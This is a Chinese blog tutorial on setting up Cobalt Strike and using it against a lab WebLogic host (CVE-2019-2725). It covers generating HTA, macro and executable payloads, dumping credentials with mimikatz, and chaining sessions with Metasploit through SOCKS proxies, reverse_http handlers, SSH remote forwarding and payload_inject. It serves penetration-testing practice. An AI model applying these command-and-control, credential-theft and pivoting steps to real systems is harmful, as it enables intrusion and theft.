cobaltstrike如何安装使用(包含CS联动MSF详细用法!)? (゚益゚メ) 渗透测试

651 阅读9分钟

文章目录

安装CS

下方我会将cobaltstrike简称为CS,csdn的下载中已经有很多CS的资源了,需要可以自行寻找下载。
相比于MSF,CS的主要用来团队作案 作战,并且有着因为有着完善的可视化界面,所以本博客并不会单独介绍CS的功能,除了安装外,本博客会已模拟实战的方式来介绍CS的用法。
CS分为服务端和客户端,服务端当前只能运行在Linux系统中,并且最好是有固定IP的公网服务器中!首先CS需要Java的支持,我们要安装Java环境,下方我提供了两种常用的Java安装方式,cs最好为Java7以上版本。

安装Java

  1. 方法一: 使用apt或者yum直接安装
# 搜索当前的java相关的jdk包(可以直接跳过这一步)
yum search java|grep jdk
# 下载指定版本的java
yum install java-1.8.0-openjdk*
  1. 方法二: 没有apt或者yum等包管理器的系统,或者apt、yum中没有java
# 下载java压缩包
wget https://repo.huaweicloud.com/java/jdk/8u171-b11/jdk-8u171-linux-x64.tar.gz 
# 解压文件到指定目录中
tar -zxvf jdk-8u171-linux-x64.tar.gz -C /usr/lib/
# 添加环境变量
echo "export JAVA_HOME=/usr/lib/jdk1.8.0_171/" >> /etc/profile
echo "export JRE_HOME=/usr/lib/jdk1.8.0_171/jre" >> /etc/profile
echo "export PATH=\$JAVA_HOME/bin:\$JAVA_HOME/jre/bin:\$PATH" >> /etc/profile 
echo "export CLASSPATH=\$CLASSPATH:.:\$JAVA_HOME/lib:\$JAVA_HOME/jre/lib" >> /etc/profile
# 重新加载环境变量文件,让环境变量生效
source /etc/profile
# 清理多余的安装包
rm jdk-8u171-linux-x64.tar.gz

CS服务器安装与后台运行

这里我当前使用的是一个CS4汉化版,下载地址(这个我看了一下目录大致相同,但并非我本人使用的,如果你有更好的选择也可以直接使用,CS4使用大致都相同!),具体目录如下图所示,CS
在这里插入图片描述
这里我们可以使用一些编译器或者记事本将teamserver.bat打开,修改默认服务端启动端口。(也可以使用默认值50050,不做修改)
在这里插入图片描述
将整个CS传入公网服务器中,并且执行指令./teamserver 公网IP 密码即可启动服务端(公网IP必须是IP地址,不能是域名!)
在这里插入图片描述
然后在本地打开客户端,输入之前设定的信息即可连接
在这里插入图片描述
PS:上述在公网IP中启动cs服务端的方法因为是依赖我们的ssh进程存在的,所以我们如果关闭了连接,cs客户端也会随之关闭,如果想要客户端在后台运行,我们需要添加后台指令

# nohup为no hang up的简写,是不要挂起指定的命令,而&则使让我的命令在后台运行。
nohup ./teamserver 公网IP地址 密码 &
# 如果想要杀掉这个后台应用,我们可以先试用ps查看他的pid
ps -ef | grep server.TeamServer
# 在使用关闭命令将其彻底关闭
kill -9 PID号

在这里插入图片描述
成功上线后,我们可以使用
/names 查看当前所有用户,或者/msg 用户名 消息对指定用户发送消息。

CS模拟实战

靶机: 当前靶机为我内网中的一个WebLogic的10.3.6版本,拥有漏洞`CVE-2019-2725。
在这里插入图片描述

  1. 启动监听器: 使用CS一般最先用到的功能就是使用监听器创建攻击载荷,先想办法让目标机器上线!
    在这里插入图片描述
    在这里插入图片描述

  2. 装载攻击载荷: 一般我们主要生成后门。
    在这里插入图片描述

    • HTML Application: 生成.hta HTML应用程序
      在这里插入图片描述
      然后选择钓鱼攻击中的文件下载,生成一个下载链接,然后在漏洞利用工具中使用mshta 下载地址来上传和执行我们的攻击载荷
      在这里插入图片描述

    • MS Office Macro: 生成恶意宏放入office文件,在启用宏状态下,启动文档即会自动执行!
      在这里插入图片描述

    • Payload Generator: 生成各种语言版本的payload

    • Windows Executable: Windows下的可执行文件(相当于小马,主要只负责目标上线,功能少,不容易被发现)

    • Windows Executable(S): stageless生成全功能被控端(相当于大马,功能齐全,但容易被杀软拦截)

    3~5的三种方法只需想办法让目标运行生成的脚本文件或程序即可让目标机器上线!

    1. scripts Web Delivery: 生成无文件的攻击载荷,只需将命令在目标机器中执行即可!在这里插入图片描述
  3. 控制靶机
    首先我们可以修改一下默认发送周期,一般睡眠时间设置越长越不容易被发现,这里因为我们的目标是靶机,为了方便测试后续功能,我设置成了0,设置好睡眠时间后进入目标控制台!在这里插入图片描述
    在目标控制台我们可以输入help查看CS的所有方法!部分常用功能也可以右键目标主机中选择。
    在这里插入图片描述
    其中很多功能需要在高权限用户中执行!
    权限排行SYSTEM>administrator(管理员)>其他用户>访客
    一般administrator用户是可以通过提权到SYSTEM用户的。
    在这里插入图片描述
    获取到的凭证信息hashdumplogonpasswords,我们可以通过彩虹表尝试解密出其明文密码
    可以使用CS中内置了强大的猕猴桃(mimikatz)如何利用猕猴桃可以在我介绍获取Windows系统密码凭证的博客中具体查看

CS联动MSF

MSF通过CS代理连接目标服务器

msf非常适合在内网中运行,但如果我们碰到一种情况,就是我们目标高价值的机器比如说域控处在内网中(域控可以理解为是网吧中网管用的那台机器!控制了他就相当于控制了网吧中所有的机器。俗称域霸 ),并没有直接和外网连接,这时候我们就需要依靠拥有强大功能的CS进行一次代理来让我们的msf上线。
在这里插入图片描述
在这里插入图片描述

  1. 首先我们上线目标主机后启动代理服务器代理服务(SOCKS Server),然后在CS服务器中执行,查看代理端口是否上线netstat -tunlp | grep 代理服务器端口(如果返回一个Java相关程序启动的端口则大概率就成功了)。
    在这里插入图片描述

  2. 配置MSF代理,我尝试了下面两种代理方式,发现如果想要使用代理进行大批量扫描,速度都会十分感人(缓慢 )!

    • 方法一: 使用proxychains4进行全局MSF代理

      # 配置代理(将其修改为CS服务器地址和代理开放端口,当前只支持socks)
      vim /etc/proxychains4.conf
      # 使用代理proxychains进入MSF控制台
      proxychains msfconsole
      # 使用proxychains可以对任意命令生效,比如我可以使用下列命令测试是否可以访问内网网站
      proxychains curl http://10.10.10.10
      

      在这里插入图片描述

    • 方法二: 在msf内部代理,进入msf控制台后直接输入setg Proxies socks4:IP地址:端口即可!
      在这里插入图片描述

CS将监听目标传给MSF的会话(sessions)模块

PS: 因为CS的渗透比较方便,MSF的后渗透比较完善,所以大部分情况都是将CS目标传入MSF中!

  1. 配置MSF控制台
# 进入msf控制台
msfconsole
# 使用通用攻击载荷处理程序
use exploit/multi/handler
# 这里的攻击载荷需要和CS中使用的一致
# CS中我使用的是windows/beacon_http/reverse_http(Beacon HTTP)
# 相当于MSF中的windows/meterpreter/reverse_http
# 还一个常用的Beacon TCP相当于windows/meterpreter/reverse_tcp
set payload 攻击载荷
set lhost kali的IP
set lport ForeignHTTP监听器的端口
# 启动监听
run

上述情况下,我们需要kali能和目标机器直连,所以要么是kali和目标在同一内网中,要么是kali有公网IP,如果上述两个条件均无法达到,我们这可以尝试使用一个公网服务器进行一次转发,来完成kali对目标的连接。

# 配置SSH隧道,启动设置如下图所示的四处设置为yes
# 这需要在公网服务器中进行,这需要在公网服务器中进行,这需要在公网服务器中进行!
vim /etc/ssh/sshd_config
# 这是需要打开的配置
AllowTcpForwarding yes 
GatewayPorts yes 
TCPKeepAlive yes 
PasswordAuthentication yes
# 重启SSH服务
systemctl restart sshd.service
# 重启ssh服务后,建立经过压缩(-C)的后台(-f)静默(-N)允许(-g)远程端口转发(-R)的ssh连接。可以使用-p参数指定公网服务器的ssh所在接口,默认22
# 这一步在kali中进行!
ssh -C -f -N -g -R 0.0.0.0:10088:本地kaliIP:10088 root@公网服务器IP

在这里插入图片描述
2. 这里因为我的kali和目标机器已经处于同一内网网段中,所以无需经过中转可直接连接,我们在CS中新建一个监听器,选择Foreign Http为我们的攻击载荷,下面输入的IP地址(HTTP Host)为我们的kali所在地址,或者使用已经进行上述转发配置的公网服务器的IP即可!
在这里插入图片描述

MSF将会话(sessions)模块传给CS的监听器

这种情况虽然少见,但也有办法实现!

  1. 新建一个监听器,使用已有的一个监听器也是可以的!这里我们需要记住上述监听器的IP地址和端口下方会用到。在这里插入图片描述
  2. 在MSF中的指定回话里再次载入一个攻击载荷,来让目标上线CS的监听器!
# 装载一个再次注入攻击载荷的模块
use exploit/windows/local/payload_inject
# 选择攻击载荷(上面讲过怎么选择攻击载荷,这里就不讲了)
set payload windows/meterpreter/reverse_http
# 填写上述监听器的IP地址
set lhost CS所在服务器地址
# 填写上述监听器的端口
set lport 8023
# 选择需要给CS的回话
set session 1
# 禁用攻击载荷的相关监听否则可能会产生冲突。
set disablepayloadhandler true
# 启动即可在CS中收到监听目标
run